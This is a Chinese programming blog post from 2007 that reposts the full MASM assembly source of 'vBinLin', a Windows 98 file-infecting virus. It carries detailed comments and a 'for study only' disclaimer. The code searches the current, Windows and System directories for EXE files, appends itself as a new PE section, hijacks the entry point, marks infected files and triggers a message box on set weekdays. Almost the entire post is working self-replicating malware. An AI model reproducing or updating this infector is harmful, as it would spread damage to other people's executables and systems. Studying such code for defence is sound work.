正文

vBinLin病毒汇编源码2007-03-25 19:34:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/lingdlz/24275.html

分享到:

//// 资源来自网络,仅供学习参考 一个基于98下的,具有病毒特性的程序。病毒本来就是一个技术性蛮高的程序,但是因为他常常犯错,给人感觉又神秘又恐怖。能过这段代码,你可以更深该的了解类似的程序。知道他并不可怕,只是被一些人要到了不正当的地方。其实有些程序利用病毒技术来做。还是非常好的(有些安全方面的程序就是利用这一技术) 本程序仅供学习使用,若用到不正当地方,本人概不负责!感叹想当年如果有类似的源代码,我也不会走一些不该走的弯路。阅读前提:了理PE文件结构。 ;=========================================< 彬 >==;名 称: vBinLin病毒   ; AngelSoft WorkGroup;语 言: MASM Win98;日 期: 2001年8月24日;====================================================;出 处: Http://vbin.51.net;备 注: 有关代码未屏蔽!请注意!若没完全明白请误调试   ; 病毒本是一种高级编程技术,本代码只供学习使用   ; ,若用到其它用途本人概不负责!;注 意: 如需转载,请保留此文件的完整性!!!!!;===================================================.386.model flat,stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\comctl32.incinclude \masm32\include\user32.incinclude \masm32\include\gdi32.incinclude \masm32\include\comdlg32.inc includelib \masm32\lib\gdi32.libincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\comctl32.libincludelib \masm32\lib\user32.libincludelib \masm32\lib\comdlg32.lib;这是一些相关的定义,其实程序中根本就没用到;只是我习惯,一股脑的全搬上来啦 ;------------------------------------(上面的)-- .datamcaption db "你好朋友!",0mtitle db "*标题*",0; 主程序所用到的一些变量;------------------------------------(上面的)-- .codehost_start:invoke MessageBox,NULL,offset mcaption,offset mtitle,64invoke ExitProcess,0;主程序代码,只是简单的打一串字符而已。;病毒代码运行完后,就会跳到此处执行。;------------------------------------(上面的)-- BadDay SEGMENT PARA USE32 'BadDay'assume cs:BadDay,ds:BadDayvstart:push ebppush espcall nstartnstart: ;;;;;;;;;;;;;pop ebpsub ebp,offset nstart;病毒中常用的一种方法。得到一个偏移差。;程序后面用到的所有变量都需要加上个这偏移差;------------------------------------(上面的)-- ;=========================; * 更改程序入口地址 *cmp now_basein[ebp],0jnz gonextmov now_basein[ebp],401000hgonext:cmp des_basein[ebp],0jnz changemov des_basein[ebp],401000hchange:mov eax,now_basein[ebp]push des_basein[ebp]pop now_basein[ebp]mov des_basein[ebp],eax;变量定义的的意思见后方;程序开始执行时,当前程序的原入口地址会放到des_basein中;由于程序中des_basein有别的用途,因此将此地址存放到;now_basein,以便最后跳回原程序入口。;------------------------------------(上面的)-- ;-------------------------;目录的开头部份lea eax,NowPath[ebp]push eaxmov eax,256push eaxcall vGetCurrentDirectory;通过API函数得到当前程序所在目录;------------------------------------(上面的)-- lea eax,NowPath[ebp]push eaxlea eax,SrcDir[ebp]push eaxcall vlstrcpy;保存当前目录;------------------------------------(上面的)-- mov NowPathNo[ebp],1FindStartT:cmp NowPathNo[ebp],1jz GFindFtcmp NowPathNo[ebp],2jz GetWinDcmp NowPathNo[ebp],3jz GetSysDjmp AllFindEnd ;根据NowPathNor值来判断感染哪个目录的文件;------------------------------------(上面的)-- GetWinD: mov eax,256push eaxlea eax,NowPath[ebp]push eaxcall vGetWindowsDirectory lea eax,NowPath[ebp]push eaxcall vSetCurrentDirectoryjmp GFindFt;得到WINDOWS所在目录,并且将其设为当前目录;------------------------------------(上面的)-- GetSysD: mov eax,256push eaxlea eax,NowPath[ebp]push eaxcall vGetSystemDirectory lea eax,NowPath[ebp]push eaxcall vSetCurrentDirectory;得到SYSTEM所在目录,并且将其设为当前目录;------------------------------------(上面的)-- GFindFt:lea eax,FindData[ebp]push eaxlea eax,FileFilter[ebp]push eaxcall vFindFirstFilecmp eax,INVALID_HANDLE_VALUEjz FindEndsmov hFind[ebp],eax;查找当前目录下的第一个EXE文件;------------------------------------(上面的)-- GoOnFind: ;以下是病毒传染部份;-------------------------push 0push FILE_ATTRIBUTE_NORMALpush OPEN_EXISTINGpush 0push FILE_SHARE_READ+FILE_SHARE_WRITEpush GENERIC_READ+GENERIC_WRITElea eax,FindData[ebp].cFileNamepush eaxcall vCreateFile;打开文件;------------------------------------(上面的)-- cmp eax,INVALID_HANDLE_VALUEjz createfail mov hFile[ebp],eaxpush FILE_BEGINpush 0push 3chpush hFile[ebp]call vSetFilePointer;将文件指针指到3CH处(见前面的讲的);------------------------------------(上面的)--push 0lea eax,byte_read[ebp]push eaxpush 4lea eax,PE_head_addr[ebp]push eaxpush hFile[ebp]call vReadFile;得到PE头偏移地址;------------------------------------(上面的)--cmp eax,0jz readfailpush FILE_BEGINpush 0push PE_head_addr[ebp]push hFile[ebp]call vSetFilePointer;指文件指针定位到PE头处;------------------------------------(上面的)--mov Head_len[ebp],sizeof PE_head+sizeof Section_tablepush 0lea eax,byte_read[ebp]push eaxpush Head_len[ebp]lea eax,PE_head[ebp]push eaxpush hFile[ebp]call vReadFile;从PE头处开始读,最所读数据存放在缓冲区中;------------------------------------(上面的)-- cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATUREjnz exitwrite;检查是否是PE文件,不是就跳出;------------------------------------(上面的)-- cmp word ptr PE_head[ebp+1ah],0842h jz exitwrite;若已感染过也跳;------------------------------------(上面的)-- Noinfect:;保存与程序入口相关的RVApush PE_head[ebp].OptionalHeader.AddressOfEntryPointpop des_in[ebp]push PE_head[ebp].OptionalHeader.ImageBasepop des_base[ebp]mov eax,des_in[ebp]add eax,des_base[ebp]mov des_basein[ebp],eax ;保存将要感染的程序的入口RVA和默认装入内存的地址;------------------------------------(上面的)-- movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeaderadd eax,18hmov Section_addr[ebp],eax;得到第一个节的地址;------------------------------------(上面的)--mov checker_len[ebp],offset vend-offset vstart;得到病毒代码的长度;------------------------------------(上面的)-- movzx eax,PE_head[ebp].FileHeader.NumberOfSectionsinc eaxmov ecx,28hmul ecxadd eax,Section_addr[ebp]add eax,PE_head_addr[ebp]cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders;检测当前文件头的剩余空间可否再加一个节。;------------------------------------(上面的)-- ja exitwritelea esi,Section_table[ebp]movzx eax,PE_head[ebp].FileHeader.NumberOfSectionsmov ecx,28hmul ecxadd esi,eaxinc PE_head[ebp].FileHeader.NumberOfSectionslea edi,new_section[ebp]xchg edi,esi;填加一个节;------------------------------------(上面的)-- mov eax,[edi-28h+8]add eax,[edi-28h+0ch]mov ecx,PE_head[ebp].OptionalHeader.SectionAlignmentdiv ecxinc eaxmul ecxmov new_section[ebp].virt_addr,eax;建立新块,并且块对齐,得到新块入口地址;------------------------------------(上面的)--mov eax,checker_len[ebp]mov ecx,PE_head[ebp].OptionalHeader.FileAlignmentdiv ecxinc eaxmul ecxmov new_section[ebp].raw_size,eax;得出新块的物理大小,按文件对齐 ;------------------------------------(上面的)-- mov eax,checker_len[ebp]mov ecx,PE_head[ebp].OptionalHeader.SectionAlignmentdiv ecxinc eaxmul ecxmov new_section[ebp].virt_size,eax;得出虚拟地址,按块对齐;------------------------------------(上面的)-- mov eax,[edi-28h+14h]add eax,[edi-28h+10h]mov ecx,PE_head[ebp].OptionalHeader.SectionAlignmentdiv ecxinc eaxmul ecxmov new_section[ebp].raw_offset,eax;得到文件中的偏移。(按理说应该是文件最末);------------------------------------(上面的)-- mov eax,new_section[ebp].virt_sizeadd eax,PE_head[ebp].OptionalHeader.SizeOfImagemov ecx,PE_head[ebp].OptionalHeader.SectionAlignmentdiv ecxinc eaxmul ecxmov PE_head[ebp].OptionalHeader.SizeOfImage,eax;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐;------------------------------------(上面的)-- mov ecx,28hrep movsb;填加新块内容;------------------------------------(上面的)-- mov eax,new_section[ebp].virt_addrmov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax;改入口地址;------------------------------------(上面的)--mov word ptr PE_head[ebp+1ah],0842h;填加感染标志;------------------------------------(上面的)--push FILE_BEGINpush 0push PE_head_addr[ebp]push hFile[ebp]call vSetFilePointer;调指针;------------------------------------(上面的)-- push 0lea eax,byte_read[ebp]push eaxpush Head_len[ebp]lea eax,PE_head[ebp]push eaxpush hFile[ebp]call vWriteFile;更新文件头;------------------------------------(上面的)-- push FILE_BEGINpush 0push new_section[ebp].raw_offsetpush hFile[ebp]call vSetFilePointer;更新指针(到文件尾);------------------------------------(上面的)-- push 0lea eax,byte_read[ebp]push eaxpush new_section[ebp].raw_sizelea eax,vstart[ebp]push eaxpush hFile[ebp]call vWriteFile;写病毒代码;------------------------------------(上面的)--exitwrite: readfail:push hFile[ebp]call vCloseHandle;关闭当前文件;------------------------------------(上面的)--createfail:;--------------------------------;目录结尾区EndDir: lea eax,FindData[ebp]push eaxpush hFind[ebp]call vFindNextFilecmp eax,0jnz GoOnFind ;查找下一个文件,然后继续感染,直到全感染全为止;------------------------------------(上面的)--FindEnds:push hFind[ebp]call vFindCloseinc NowPathNo[ebp]inc NowPathNo[ebp] ;<< 多加了几个1inc NowPathNo[ebp] ;<<inc NowPathNo[ebp] ;<<jmp FindStartT;为了调试方便,在此只感染当前目录;------------------------------------(上面的)-- AllFindEnd:lea eax,SrcDir[ebp]push eaxcall vSetCurrentDirectory ;恢复当前目录;------------------------------------(上面的)-- ;####[ 病毒发作区 ]########################; lea eax,NowTimes[ebp]push eaxcall vGetSystemTimecmp NowTimes[ebp].wDayOfWeek,0003hjz InTimescmp NowTimes[ebp].wDayOfWeek,0005hjnz ExitTimes;根据时间决定,每周星期三和星期五发作;------------------------------------(上面的)-- ;--- 发作代码 -------------------InTimes:;--------------------------------push 0lea eax,MyTitle[ebp]push eaxlea eax,MyTalk[ebp]push eaxpush 0call vMessageBox;显示一个提示窗口;------------------------------------(上面的)-- ExitTimes: ;###########################################;; 恢复寄存器,跳回原程序处 ;------------------------------------------mov eax,now_basein[ebp]pop esppop ebppush eax;-------< 做好返回原程序的准备 >-----------;;;;;;;;;;;;;; ret ;返回主程序 ;--------------------------; 函数调用地址;--------------------------vCreateFile: mov jumpaddr[ebp],0BFF77B5BHjmp jumpaddr[ebp] vSetFilePointer: mov jumpaddr[ebp],0BFF771BBHjmp jumpaddr[ebp]vReadFile: mov jumpaddr[ebp],0BFF770B9Hjmp jumpaddr[ebp]vWriteFile: mov jumpaddr[ebp],0BFF77051Hjmp jumpaddr[ebp] vCloseHandle: mov jumpaddr[ebp],0BFF7E2D9Hjmp jumpaddr[ebp] vMessageBox: mov jumpaddr[ebp],0BFF541BAHjmp jumpaddr[ebp] vGetCurrentDirectory: mov jumpaddr[ebp],0BFF77A55Hjmp jumpaddr[ebp] vGetWindowsDirectory: mov jumpaddr[ebp],0BFF779F8Hjmp jumpaddr[ebp] vGetSystemDirectory: mov jumpaddr[ebp],0BFF779C2Hjmp jumpaddr[ebp]vSetCurrentDirectory: mov jumpaddr[ebp],0BFF77A2EHjmp jumpaddr[ebp] vlstrcpy: mov jumpaddr[ebp],0BFF77378Hjmp jumpaddr[ebp] vFindFirstFile: mov jumpaddr[ebp],0BFF77BD7Hjmp jumpaddr[ebp] vFindNextFile: mov jumpaddr[ebp],0BFF77C0FHjmp jumpaddr[ebp] vFindClose: mov jumpaddr[ebp],0BFF76540Hjmp jumpaddr[ebp] vGetSystemTime: mov jumpaddr[ebp],0BFFA1372Hjmp jumpaddr[ebp] vExitWindowsEx: mov jumpaddr[ebp],0BFF5232CHjmp jumpaddr[ebp] ; 其它的略.... ;不同的WIN系统这里的地址是不同的。;因此说这个病毒并不是每个WIN系统都会传染的 ;------------------------------------(上面的)-- ALIGN 4jumpaddr dd 0PE_head_addr dd 0checker_len dd 0 MyTitle db "MyTitle",0MyTalk db "MyTalk",0 PE_head IMAGE_NT_HEADERS <0> Section_table db 280h dup (0)Head_len dd 0;sizeof PE_head+sizeof Section_table ; PE文件头和块表的长度my_section strucsec_name db 2Eh,42h,61h,64h,44h,61h,79h,0 ; 块名virt_size dd 0 ; 块长virt_addr dd 0 ; 该块RVA地址raw_size dd 0 ; 该块物理长度raw_offset dd 0 ; 该块物理偏移dd 0,0,0 ; 未用sec_flags dd 0E0000020h ; 属性 my_section endsnew_section my_section <>secbuffer db 512 dup (0)tempbuffer db 128 dup (0) hFile dd 0 des_in dd 0des_base dd 0db "SRCIN",0des_basein dd 0now_basein dd 0byte_read dd 0Section_addr dd 0vsize dd 0;相关的变量定义;------------------------------------(上面的)-- ;-----------------------------; 查找文件专用FileFilter db "*.exe",0FindData WIN32_FIND_DATA <>hFind dd 0NowPath db 256 dup (0)NowPathNo db 0SrcDir db 256 dup (0);-----------------------------NowTimes SYSTEMTIME <>;----------------------------- vend:BadDay ends end vstart  

阅读(3464) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册